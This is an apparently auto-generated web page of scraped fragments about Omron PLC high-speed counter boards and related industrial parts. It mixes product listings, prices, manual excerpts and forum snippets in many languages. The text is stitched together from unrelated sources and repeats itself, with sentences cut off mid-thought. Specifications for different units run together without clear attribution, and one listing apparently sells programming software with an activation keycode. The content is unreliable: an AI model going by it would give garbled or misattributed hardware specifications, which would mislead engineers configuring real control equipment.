CPM1A CPM2A PLC from DEAO Electric International Limited manufacturer in EC21. Pada S7 200 harus dilakukan konfigurasi input dan instruksi high speed counter untuk membacanya. CJ-series High-speed Counter Unit High-Speed, Flexible Control With A Wide Array of Features. 4 external outputs: CQM1H-CTB41: Pulse I/O Board: 2 pulse inputs, Single-phase: 50 kHz, Differential phase: 25 kHz. Our gamut of Omron PLC / Drives / Relays / Temperature Controller procured from our vendors is high in quality and are supplied in bulk quantity to our clients as per their requirements. CPU Basic Module Q00JCPU Q00CPU Q01CPU CPU High Performance Model Q02CPU Q02HCPU Q06HCPU Q12HCPU Q25HCPU Motion CPU Module Q172CPU Q173CPU Battery Q6BAT IC Memory Card Q2MEM-1MBS Q2MEM-2MBF Q2MEM-4MBF Q2MEM-8MBA Q2MEM-16MBA Q2MEM-32MBA SRA M Card Battery Q2MEM-BAT Main Base Unit Q33B …. The PLC setup dialog for version 3. The High-speed 3Z4L-3000-series Meters must have the delimiter control codes set using the memory switches. Series of DeviceNet type. Request Omron CQM1H-MAB42: CQM1H ANALOG I/O INNER BOARD online from Elcodis, view and download CQM1H-MAB42 pdf datasheet, More Sensors & Transducers specifications. The present count value can be monitored during high-speed count input using the PRV (HIGH-SPEED COUNTER PV READ) instruction. The High Speed Counter function block uses dedicated inputs and auxiliary inputs and outputs. High-Speed, Flexible Control With A, Wide Array of Features. CJ1WCT021 from Omron Automation at Allied Electronics & Automation. 2 interrupts (Used for both counter mode interrupts inputs and quick- response inputs. OMRON C500-CT001 HIGH SPEED COUNTER UNIT 3G2A5-CT001. nexinstrument. In order to service high-speed I/O events, the DL105 includes a special circuit which is dedicated to a portion of the I/O points. Omron 3G2A5-CT012 New and Used available. Model:CJ1W-CT021. Dovresti trovare lì i dati tecnici più importanti del Omron CPM1A - in questo modo è possibile verificare se l’apparecchio soddisfa le tue esigenze. 3g8f7-drm21-1-----11月3日,第17届工博会上,世界机器人专家fanuc在中国地区正式推出全球负载最大的协作机器人cr-35ia,创立了协作机器人领域的新标杆。. I need count pulses from an incremental encoder (pulse freq. Controllers - Accessories BOARD CTR HI SPEED INPUT 4POS. Omron 3G2A5-CT012 New and Used available. PLC Processors-1PC NEW switch E3Z-G62-11D Photoelectric Omron ozcinh6582-inexpensive - www. High Speed Counter Design In this post, I'll talk about the limitations associated with the conventional binary counter design in terms of it's maximum operating frequency, and also discuss an ingenious yet simple design (not invented by me!) which can operate at a very high frequency. Frequency up to 500 kHz, closed loop response time as low as 0. NT Link Function. Moch Rizal 5,846 views. Quality Servo Battery Pack manufacturers & exporter - buy VDE Servo Battery Pack / Omron PLC Battery CJ1 CPM2A CQM1H CPM2A-BAT01 3. Omron CQM1 & CQM1-H. Advanced Power for High-precision Positioning Control. CJ-series High-speed Counter Unit High-Speed, Flexible Control With A Wide Array of Features. Just give us a call. CQM1H The original modular PLC system for versatile machine control Distributed control with the high-speed, high-capacity Controller Link network Use Controller Link to automatically exchange data between PLCs, and to maintain programs and data of all connected PLC's from a single PC. High-speed Counter Board: Serial Communications Board: IR 200 to IR 207 IR 22000 to Used to store the analog settings when a CQM1H-AVB41 IR 22315 Analog Setting Board is mounted. MISUMI offers free CAD download, short lead times, competitive pricing, and no minimum order quantity. The CQM1H provides a high-speed, flexible and modular general purpose control system. Equipped with 2 or 4 Counters and counts, over a maximum binary range of 32-bits. 2 pulse outputs, 50 kHz max. Product name: CJ2M CPU Units. Industrial equipments import and sales part list,산업용 장비 수입 판매 리스트,2012. 128 I/O points per master (64 inputs and 64 outputs), 32 slaves per master Max transmission distance 500m in long distance, 100 m in high speed mode. WARNING It is extremely important that a PC and all PC Units be used for the specified. The CQM1H provides a high-speed, flexible and modular general purpose control system. Omron, E5CSV-Q1T-F, Multifunctional Temperature Controller 100-240vac NEW. MISUMI offers No MOQ, No Shipping charge with short lead times. (Text) Omron CPU21 PLC LIVE PLC Questions And Answers. 25 데이터복구,영구삭제. • One Unit supports two external outputs and 30 internal outputs with counter value zone comparisons, target comparisons, delays, holds, programmable outputs, and hysteresis settings. Request Omron CQM1H-MAB42: CQM1H ANALOG I/O INNER BOARD online from Elcodis, view and download CQM1H-MAB42 pdf datasheet, More Sensors & Transducers specifications. rar 5KB 3MK136旧磨床现程序. For your security, you are about to be logged out HIGH SPEED COUNTER 500Khz 2 CH. PLC OMRON CQM1H-CPU51 Highspeed counter interrupts Inner Board slot 2: sử dụng gắn High-speed Counter Board, Pulse I/O Board, Absolute Encoder Interface. PURPOSE: This document will show how to configure the CP1L-L14 to use the high speed counter 0 to measure the length of material passing by a sensor. A Controller Link Unit can be mounted on the CQM1H CPU unit, Omron’s Programmable Terminals now support program and monitor functions for easy PLC. 1 CQM1H/CJ2M memory area comparison 3. Untuk membaca encoder pada PLC tidak cukup menggunakan input biasa dan instruksi counterpada umumnya. Omron CQM1H-CTB41 Counter Board 30 Day Warranty See more like this. Provides 4 external outputs on the Board. Omron, E5CSV-Q1T-F, Multifunctional Temperature Controller 100-240vac NEW. pdf , the wiring A/B phase must be to connect with IR000. All of these Units connect at the sides to form a single PC, which is normally mounted to a DIN track. The following table shows which CS1-series PCs can be connected to an NT21. You must read this section and understand the information contained before attempting to set up or operate a High-speed Counter Unit and PLC system. Lektronix repair Omron CQM1H-CTB41 PLCs. So I was wondering if this is possible, and if so, how to do it. Questo vuol dire che il contatore veloce è appoggiato ai bit 0. Distributed by Kempston Controls. The present count value can be monitored during high-speed count input using the PRV (HIGH-SPEED COUNTER PV READ) instruction. This will place the counter back at the SV. W902 CS1W-CT021/041 CS Series High-speed Counter Units OPERATION MANUAL. Contoh Ladder PLC Omron. Online Omron C200HX pdf manuals preview and download: User's Manual. CQM1H Series Programmable Controllers Operation Manual W363 Describes Programming Console operations that can be used connected to the Customizable Counter Units. Cookie settings. 3g8f7-drm21-1. Note: The K3HB-S Linear Sensor Indicator features high-speed response of 2,000 times/second. Please note:the above table is only showing a limited list of parts available on hand for OMRON, but we also clean, repair and exchange parts. Free 12 months repair warranty. Full description. 在了解了程序结构和编程方法的基础上,就要实际地编写 plc 程序了。编写 plc 程序和编写其他计算机程序一样,都需要经历. Four high-speed counters and four pulse outputs are ideal for multi-axis positioning control. By using built-in functions such as pre-scaling, totalising, differentiation and alarming in analog I/O units, PLC programming can be minimised. You can also choose from free samples, paid samples. Omron CQM1H-CPU51 Pdf User Manuals. High Speed Counter Design In this post, I'll talk about the limitations associated with the conventional binary counter design in terms of it's maximum operating frequency, and also discuss an ingenious yet simple design (not invented by me!) which can operate at a very high frequency. Browse our daily deals for even more savings! Free delivery and free returns on eBay Plus items!. Offer CQM1H-CTB41 Omron Automation and Safety from Kynix Semiconductor Hong Kong Limited. They provide 20, 30, 40 or 60 I/O point CPUs, pulse I/O for position control, multiple communications ports and a powerful instruction set. 127, Jakarta, Indonesia Automation Jaya adalah Usaha Dagang yang bergerak di bidang Electrical yang berkonsentrasi pada bidang Automation dan Industrial Supply Produk lainnya. Equipped with 2 or 4 Counters and counts, over a maximum binary range of 32-bits. Omron PLC Cable XW2Z-200P-V C200H/C60P/C1000H to. Your industrial electronic equipment part number CQM1HCTB41 or CQM1H-CTB41 from the brand OMRON and from the CQM1H range is available and 12-months guarantee on plswiss. 3G2A5CT001 C500 HIGH SPEED COUNTER; 3G2A5DA001 C500 2-D/A: 1-5V. I have used both the DL05 and DL06 PLCs. Programmable Controller CQM1H A175 High-speed Counter Inner Board The High-speed Counter Board is an Inner Board that counts up to 4 high-speed pulse inputs at up to 500 kHz, and can perform tasks according to the number of pulses counted. Equipped with 2 or 4 Counters and counts, over a maximum binary range of 32-bits. Get the best deal for PLC Counter Modules from the largest online selection at eBay. Light Industrial. OMRON - MPNs: 00719298MP75 thru ZXXGC5A Select a OMRON product below for distribution and pricing. Can count 4-axis high-speed pulses at up to 500 kHz. Provides 4 external outputs on the Board. The present value with respect to the measurement or display range (full scale) can be viewed on a bar display. Online Omron C200HX pdf manuals preview and download: User's Manual. Item Specifications International standards Part number High-speed counter board 4 pulse inputs (high-speed counter) at 500 kHz max. Electric Guitars-Ibanez PS-10 og3780 Free shipping ofvttl2971-fair prices - www. High-speed counter board 4 pulse inputs (high speed counter) at 500kHz max 4 external outputs CQM1H-CTB41 Pulse I/O board 2 Pulse inputs, Single phase 50Khz, Differential phase: 25kHz CQM1H-PLB21 Absolute encoder Interface board 2 absolute encoder (gray code binary) inputs (4kHz) CQM1H-ABB21 Analog setting board 4 analog settings CQM1H-AVB41. Their optional 4 analogue inputs and 2 analogue outputs plus advanced PID control with auto-tuning also make them ideal for continuous control applications. Distributed by Kempston Controls. The high-speed counter (absolute encoder input for the CPU44-EV1) has two points added. C500-CT041 High Speed Counter Unit Operation Manual: CQM1H-SCB41 Serial Communication Board Operation Manual: F350 Omron Vision Langauge (OVL) V2 Reference. hướng dẫn kết nối plc omron bằng cáp usb_cif02 - Duration: 5:40. denki Suppliers & Manufacturers , include KW China , Grapha Japan , KW China Co. Accepting input pulse frequencies of up, to 500 kHz allows precise control of fast motions. The CJ2H Series is ideal for advanced machine. OMRON PLC CQM1-ID213. make new Project on CX-ONE PLC TYPE CQM1H CPU21 Network On Ovf0 Int_counter. 6 A/Unit (See notes 2 and 3. Aviso: Hemos limitado los resultados de la búsqueda a 500 productos para reducir el tiempo de descarga, sin embargo tenemos 930 productos de esta marca disponibles. A variety of advanced special inner boards and high capacity program and data memory areas give distributed I/O and control capabilities. 750x600, 750x500, 600x500, 600x400 Manipulation of numbers and bits ON-LINE edit Ladder symbol S R Operand Data-area KEEP(11) B 000. Product name: CJ2M CPU Units. switching capacity 4. The Unit is equipped with 4 Digital Inputs, 4 Digital Outputs and 28 Soft Outputs. NEX Instrument Inc is not an authorized dealer, agent or associate of any of the designers, brands, or manufacturers, the products of which are offered for sale on www. If you would like to discuss any of the parts which you see on our online store, please contact our dedicated UK sales centre on +44 (01933) 411411. (CJ2M CPU Units with Unit Version 2. The high-speed counter (absolute encoder input for the CPU44-EV1) has two points added. Pulse Outputs Up to Four Axes Are Standard. REVERSIBLE COUNTER CNTR 12 Instructions de déplacement de données Désignation Mnémonique Code MOVE 21 MOVE NOT 22 MOVE BIT 82 MOVE DIGIT 83 MULTIPLE BIT TRANSFER Rem. Katalog Kodu. CQM1H using the programming software and connecting. Omron CQM1 & CQM1-H. CJ-series High-speed Counter Unit High-Speed, Flexible Control With A Wide Array of Features. Sebenarnya, untuk instruksi timer dan counter, ada macam-macam jenisnya, misalnya reversible counter (RCNT), interval timer (STIM) , long timer (TIML), high-speed timer (TIMH). PLC | CX Programmer RTC (Real Time Clock) Using DATE Comparison Instruction To Control Time - Duration: 19:09. High-speed Counter Board Pulse I/O. The total length is then displayed on the NS5 operator interface. We are leading supplier of Omron Electronics Inc electronic components. CQM1H- Inner Boards. Untuk membaca encoder pada PLC tidak cukup menggunakan input biasa dan instruksi counterpada umumnya. The 6th and 7th digits of high-speed counter 0's PV are normally 00, but can be used as "Overflow/Underflow Flags" by detecting values beyond the allowable counting ranges. Compare SPLAT Controlers CC18 to other Embedded PLCs. looking at the manual it looks like a CQM1-CPU21-E , without the Mode Selector key switch. ppt), PDF File (. 2 CJ1M/CJ1G/CJ2M memory area comparison 4. 好机会!绝好的机会!!清仓处理!!!!泪崩价!!实实在在的备货库存现货!绝对实实在在的备货库存现货!买到赚到!. MISUMI has 2600 brands, 9 millions products of Wireing Components, Electrical Components and Control Parts. This unit is available for CJ/NJ controller. Typically a high-speed counter is a "hardware" device. document titled Automation Systems is about Mechanics. 00 PS Yes CQM1H-PLB41* Pulse I/O board $467. 00 PS Yes Inner Boards Part Number Description List Price Discount Code In Stock CQM1H-CTB41* High-speed counter board $375. High-speed counter / encoder input Interrupt inputst Quick-response inputs Counter inputs 8 normal inputs CP1H CPM2A CPM1A LD instruction MOV instruction 0. on demand The equipment with type CPU is manufactured by OMRON and commercialized under the reference CJ1M-CPU13. OMRON PLC PROGRAMMING Software Cx One V4 40 With Keycode Activation - $74. The top supplying country is China (Mainland), which supply 100% of omron electronics respectively. No patent liability is assumed with respect to the use of the information contained herein. Pada S7 200 harus dilakukan konfigurasi input dan instruksi high speed counter untuk membacanya. High speed counter board : CQM1H-CTB41 Pulse I/O board : CQM1H-PLB21 Absolute encoder interface board : CQM1H-ABB21 Analog setting board : CQM1H-AVB41 Analog I/O board : CQM1H-MAB42 Serial communications board : CQM1H-SCB41 Untuk informasharga dan stock silahkan hubungi marketing kami. Range Comparison: Interrupt is executed when the high-speed counter PV lies within a specified range. When used with Omron's CS1/CJ1 DeviceNet master units it is plug-and-work, no configuration tool is required. Countable channels:2. omron inverter drive introductory training course, 1 day (not covered by omron iso scope of approval) oc14onsitetraini: omron on site custom training course, per day (not covered by omron iso scope of approval) oc11onetoonetrai: omron one to one custom training course, per day (not covered by omron iso scope of approval). Browse our daily deals for even more savings! Free delivery and free returns on eBay Plus items!. High-speed counter board 4 pulse inputs (high-speed counter) at 500 kHz max. CQM1H PLC & ITS EXPANSIONS Provides Higher Value added Machine Control in a Flexible System Configuration Equipment functions can be upgraded easily with a variety of advanced Inner Boards Build a distributed control system with the high-speed, high capacity Controller Link System. 6v from China manufacturer. Omron Robust Sensor Robust Sensor. For CJ1M CPU Units, the CJ1W- CT021 High-speed Counter Unit must be in one of the three positions immediately to the right of the CJ1M CPU Unit. • Full motion control instruction for 2 × 100 kHz pulse output, and 4/6 high-speed counter for close loop control • Optional RS-232C or RS-422/485 communication port • Support floating point, function block programming. 00 PS Yes CQM1H-PLB41* Pulse I/O board $467. Modicon B882-239 High Speed Counter Module The B882-239 High Speed Counter Module has two identical and independent counters for applications that require counting or comparisons. Compact I/O High-speed Counter Module 5 Publication 1769-IN030B-EN-P - October 2010 Module Features The 1769-HSC module is a 1 MHz counter/encoder input module with 4 onboard 5…30V DC sourcing outputs designed for high-speed control applications, such as flow control, measuring length, position, speed, frequency, or duration. Programming the High Speed Counter You must have Click Software 2. HELP PLEASE. Worldwide Shipping available. You must read this section and understand the information contained before attempting to set up or operate a High-speed Counter Unit and PLC system. ) Be sure to check the model number of the PC and Serial Communications. C200H-CT001-V1 Omron C200H High Speed Counter up to 50 kHz (C200HCT001), PLC Unlimited Buy today email or Call 800-479-8084. •CQM1H-AD042 of Analog Intput Unit It receives four current inputs or analog voltage into the CQM1H. OMRON PLC 发展历程(omron plc 发展历程) OMRON PLC development of Japanese Omron Corporation is one of the world famous PLC manufacturers, small OMRON, PLC, have their own strengths; for basic properties, special features and PLC generally from three aspects to inspect the performance of communication network. 型 号: tm2dra8rt 发货地点: 福建省 漳州 产品类别: plc 更新时间: 2018/5/25 20:36:52. • Pulse rate measurement function and data logging. • Provides 4 external outputs on the Board. Exceptional communications options allow the CQM1H to be fully integrated into supervisory control. A Controller Link Unit can be mounted on the CQM1H CPU unit, Omron's Programmable Terminals now support program and monitor functions for easy PLC. Omron CQM1 & CQM1-H. 0 or Later) • Faster Function Block calls and execution, faster interrupt handling, less overhead time. 5KW Allen Bradley 1784KTS Communication Interface OMRON CV500-CPU01-V1 CPU unit CV500CPU01V1 IA-T-S Intelligent Actuator IA Teaching Box Panasonic Minas AC Servo Driver MSD041A1XX Drive NAIS FP1-C40 AFP12413C-F Ver2. •CQM1H-AD042 of Analog Intput Unit It receives four current inputs or analog voltage into the CQM1H. What I'm trying to do is get a real time speed of my hydraulic cylinder using a transducer, a 1769-HSC high speed counter module, and a 1769-L36ERM processor. We also supply new, refurbished or service exchange. automation needs such as those required in image. CJ-series High-speed Counter Unit High-Speed, Flexible Control With A Wide Array of Features. 2 interrupts (Used for both counter mode interrupts inputs and quick- response inputs. Visit us now and find out more. Omron's exclusive warranty is that the Products will be free from defects in. COUNTER CNT Rem. Hello, I hope you are all having a great Wednesday. muscle-specialist. Item Specifications International standards Part number High-speed counter board 4 pulse inputs (high-speed counter) at 500 kHz max. Firmware Update - Video Select the High Speed Input Icon from the main menu to get to the High Speed Input Configuration window. PLC OMRON CQM1H-CPU51 Highspeed counter interrupts Inner Board slot 2: sử dụng gắn High-speed Counter Board, Pulse I/O Board, Absolute Encoder Interface. The NJ1 series is a new Sysmac controller for logic sequence and motion control aimed for compact machines. Every precaution has been taken in the preparation of this manual. High-speed Counter Board: Serial Communications Board: IR 200 to IR 207 IR 22000 to Used to store the analog settings when a CQM1H-AVB41 IR 22315 Analog Setting Board is mounted. of the conveyor speed for tact time are possible without using a special speed calculation device. Instructions 5. A Controller Link Unit can be mounted on the CQM1H CPU unit, Omron’s Programmable Terminals now support program and monitor functions for easy PLC. The CQM1H features Inner Boards that allow simple positioning, multi-point high-speed counter inputs, absolute rotary encoder inputs, analog I/O, analog settings, and serial communications for connec-tion to standard serial devices. A--155Programmable ControllerCQM1HJINNER BOARDSStock Note: Shaded models are normally stocked. Position Meter Enables Easy Monitoring of Operating Status Trends. Moreover, because OMRON is con-stantly striving to improve its high-quality products, the information contained in this manual is subject to change without notice. Exceptional communications options allow the CQM1H to be fully integrated into supervisory control. HELP PLEASE. Scribd is the world's largest social reading and publishing site. INTRODUCTION. DELTA 7" Inch DOP-107BV HMI Touch Screen Operator Panel & Program Cable CNC 1 of 12 DELTA 7" Inch DOP-107BV HMI Touch Screen Operator Panel & Program Cable CNC 2 2 of. 40 volts UC. C200H-CT001-V1 Omron C200H High Speed Counter up to 50 kHz (C200HCT001), PLC Unlimited Buy today email or Call 800-479-8084. OMRON PLC CP1H SERIES CP1L - OMRON Products Made In China, China Trading Company. Get the best deal for Omron PLC Processors from the largest online selection at eBay. PURPOSE: This document will show how to configure the CP1L-L14 to use the high speed counter 0 to measure the length of material passing by a sensor. •CQM1H-AD042 of Analog Intput Unit It receives four current inputs or analog voltage into the CQM1H. Cookie settings. Omron Electronic Components is the Americas subsidiary of Omron Corporation, a $7 billion global leading supplier of electronics and control system components and services. A variety of advanced special inner boards and high capacity program and data memory areas give distributed I/O and control capabilities. 2000 - omron plc CQM1H CPU 51 configuration. This manual provides information for programming and operating OMRON PCs and the High-speed Counter Unit. The Unit is equipped with 4 Digital Inputs, 4 Digital Outputs and 28 Soft Outputs. switching capacity 4. rar 65KB 5V编码器信号如何接入CP1H高数计数案例. Visit us now and find out more. With over 30 years of service experience and a portfolio of industry-leading technology, our world-class team can help you solve problems and sharpen your competitive edge. Omron PLC CPM1H CPM1A CPM2A PLC(id:3703753). Abstract: CQM1-ID212 OMRON CQM1H-CPU51 OMRON CQM1 programming manual OMRON CQM1H-CPU11 OMRON plc programming console manual CQM1H-CPU51 programming manual CQM1-PA206 omron Communication cables pin diagram OMRON plc programming console manual cqm1h-cpu51 Text: found only in full rack PLC systems. rar 80KB 6路抢答器源码. 1 . 单元式 单元式的特点是结构紧凑。它将所有的电路都装入一个模块内,构成一个整体,这样体积小巧、成本低、安装方便。. Provides 4 external outputs on the Board. Omron's exclusive warranty is that the Products will be free from defects in. The present count value can be monitored during high-speed count input using the PRV (HIGH-SPEED COUNTER PV READ) instruction. Omron PLC CPM1H CPM1A CPM2A PLC(id:3703753). 00 PS Yes CQM1H-PLB41* Pulse I/O board $467. For OMRON CQM1H-CPU61 Programmable Controller PLC Module; Counter - 44B235821006 High speed synchronous belt linear slide Synchronous linear Motion & 57 motor. CQM1H/CJ1M/CJ1G Replacement Guide W401 High-speed Counter Units OPERATION MANUAL OMRON's exclusive warranty is that the products are free from defects in. Scheduled interrupts: 1 interrupt: High-speed counter functions High-speed counters: 1 counter (single phase at 20 kHz or 2 phases at 5 kHz) Counter interrupts: 1 interrupt (set value comparison or set-value range comparison) Interrupt inputs (counter mode). 3 µs High speed counter Four axes Counter Function (single phase or differential phase). All of these Units connect at the sides to form a single PC, which is normally mounted to a DIN track. Converting and modifying data Convert the data read from SYSMAC -series (C200HX/HG/HE) PLC for CJ2. Four high-speed counters and four pulse outputs are ideal for multi-axis positioning control. rar 4KB 200吨压机程序 omron 的机子C系列的. Programmable Controllers. Use either 100-kHz single-phase input or 50-kHz phase-differential input for high-speed line driver input. Demo Video การใช้งาน High Speed Counter PLC Omron ครับ เป็นไฟล์ส่วนหนึ่งในแผ่นสอน PLC Omron เนื้อง. OMRON CPU Unit CQM1H-CPU61 CQM1HCPU61 Original New in Box NIB Free Ship. 5 to 30 VDC: 300 mA/point, 0. Moch Rizal 5,846 views. CQM1H-CPU Programmable ControllersCQM1H- Inner Boards. The Remote I/O Master Unit high-speed that controls up to 128 I/O units points. mitsubishi aj65sbtb1-32t cc link output unit new! mitsubishi aj65sbtb1-32d1 cc link input unit new!. W395-E1-07 CJ-series Built-in I/O CJ1M-CPU21/22/23 CJ1M CPU Units OPERATION MANUAL CJ-series Built-in I/O CJ1M-CPU21/22/23 CPU Units Operation Manual Revised February. Cj1w-ct021 Omron Plc Cj1 High-speed Counter Unit 100% New Original With Best Price , Find Complete Details about Cj1w-ct021 Omron Plc Cj1 High-speed Counter Unit 100% New Original With Best Price,High-speed Counter Unit,Omron Cj1 High-speed Counter Unit,Omron Plc from PLC Supplier or Manufacturer-Guangzhou Hongming Automation Equipment Co. D Connect high density MIL and Fujitsu models to Omron relay or terminal blocks for easy wiring and choice of I/O style D 4K program memory, 2K data memory D Synchronized pulse control allows synchronization of input devices to control devices D Temperature sensor modules available D Optional real-time clock D Multiple high-speed counter inputs. The present count value can be monitored during high-speed count input using the PRV (HIGH-SPEED COUNTER PV READ) instruction. CQM1H Series Programmable Controllers Operation Manual W363 Describes Programming Console operations that can be used connected to the Customizable Counter Units. • • • • CQM1H-CTB41 Can count 4-axis high-speed pulses at up to 500 kHz. Moreover, because OMRON is con-stantly striving to improve its high-quality products, the information contained in this manual is subject to change without notice. You can also choose from free samples, paid samples. A Controller Link Unit can be mounted on the CQM1H CPU unit, Omron’s Programmable Terminals now support program and monitor functions for easy PLC. U, C CQM1H-PLB21 Absolute encoder interface board. 128 I/O points per master (64 inputs and 64 outputs), 32 slaves per master Max transmission distance 500m in long distance, 100 m in high speed mode. The CP1H-XA comes with four analogue inputs and two analogue outputs built-in. CJ2H for high speed, high capacity. a03b-0807-c152. CS1W-OD212 Omron SYSMAC CS-series High-speed Counter Units ; More Views. Your industrial electronic equipment part number CQM1HCTB41 or CQM1H-CTB41 from the brand OMRON and from the CQM1H range is available and 12-months guarantee on plswiss. Browse our daily deals for even more savings! Free delivery and free returns on eBay Plus items!. 2 I/O instructions 5. The CQM1H provides a high-speed, flexible and modular general purpose control system. REQUIRED EQUIPMENT: 1. We also supply new, refurbished or service exchange. Four high-speed counters and four pulse outputs are ideal for multi-axis positioning control. The lowest-priced brand-new, unused, unopened, undamaged item in its original packaging (where packaging is applicable). Buy parts for OMRON. NEX Instrument Inc is not an authorized dealer, agent or associate of any of the designers, brands, or manufacturers, the products of which are offered for sale on www. Omron C200HE PDF User's Manual Download & Online Preview. buy new or surplus host automation h2-ctrio ( host automation , counter module, high speed, dc 8input, 4output, available, rebuilt surplus, new, never used, repair yours, 24 hour rush repair, 5-10 day repair, 2 year radwell warranty ) parts. Omron Sipariş Kodu. You can rely on the high quality PLC products you've come to expect from Omron. OMRON's exclusive warranty is that the products are free from defects in materials and workmanship for a period of one year (or other period if specified) from date of sale by OMRON. 4 external outputs: CQM1H-CTB41: Pulse I/O Board: 2 pulse inputs, Single-phase: 50 kHz, Differential phase: 25 kHz. OMRON PLC PROGRAMMING Software Cx One V4 40 With Keycode Activation - $74. pdf , the wiring A/B phase must be to connect with IR000. So I was wondering if this is possible, and if so, how to do it. Provides 4 external outputs on the Board. Membaca rotary encoder dengan instruksi high speed counter Rotary encoder adalah salah satu jenis sensor yang memiliki frekuensi tinggi. 10 inputs (including four interrupt/quickresponse inputs and two high-speed counter inputs). • • • • CQM1H-CTB41 Can count 4-axis high-speed pulses at up to 500 kHz. 5 to 30 VDC: 300 mA/point, 0. This new member of Omron’s CPM2C programmable controller family combines high-speed control func-tions with distribution of up to 256 I/O over Omron’s high-speed “flexible back-plane” bus, CompoBus/S. rar 9KB 3电机延时控制启停. Bộ lập trình ZEN-20C3AR-A-V2. Their optional 4 analogue inputs and 2 analogue outputs plus advanced PID control with auto-tuning also make them ideal for continuous control applications. , Vadodara, Gujarat. plc های ماژولار قدیمی امرن که با کدهای cqm1 و cqm1h مشخص هستند ، هنوز در برخی صنایع بخصوص صنعت کاشی و سرامیک موجود می باشند. Urun Aciklamasi. Omron C200HE PDF User's Manual Download & Online Preview. Select Inner Boards to customize the PLC's capabilities for your applications. Equipped with the sub pressure gauge for monitoring the operation trend OMRON H3CR-G8EL. A pulse output can be created by combining the high-speed counter with pulse outputs and multiplying the frequency of the input pulses from the high-speed counter by a fixed factor (This output is possible with transistor outputs only, it cannot be used with relay outputs). Exceptional communications options allow the CQM1H to be fully integrated into supervisory control. 1 x OMRON CQM1H-CPU21 CQM1HCPU21 CPU Unit Original New in Box. To activate external interrupt tasks in a CJ1-H CPU Unit, the CJ1W-CT021 High-speed Counter Unit must be in one of the five positions immediately to the right of the CJ1-H CPU Unit. 128 I/O points per master (64 inputs and 64 outputs), 32 slaves per master Max transmission distance 500m in long distance, 100 m in high speed mode. Exceptional communications options allow the CQM1H to be fully integrated into supervisory control. HP, WA, SMS : 081248112800 / 081357670533 Omron PLC CQM1H-CPU51 Features: 2 Inner Board slots Peripheral port for programming & serial communications 162 instructions (14 basic and 148 special) 16 x 24Vdc NPN/PNP inputs 4 x high speed interrupt/counter inputs 4 x high speed counter encoder connection I/O is automatically addressed. OMRON Calibration - Micro Precision Calibration Inc. The CQM1-CPU43-EV1 and CQM1-CPU44-EV1 can accept single-phase pulses up to 50 kHz and two phase pulses up to 25 kHz. CJ-series High-speed Counter Unit High-Speed, Flexible Control With A Wide Array of Features. 00 PS Yes CQM1H-MAB42* Analog I/O board $672. NT Link Function. CJ series high speed counter unit from OMRON. The CP1H-XA comes with four analogue inputs and two analogue outputs built-in. In our example the counter range C0 to C3 is reset with bit 21. Use either 100-kHz single-phase input or 50-kHz phase-differential input for high-speed line driver input. The CQM1H features Inner Boards that allow simple positioning, multi-point high-speed counter inputs, absolute rotary encoder inputs, analog I/O, analog settings, and serial communications for connection to standard serial devices.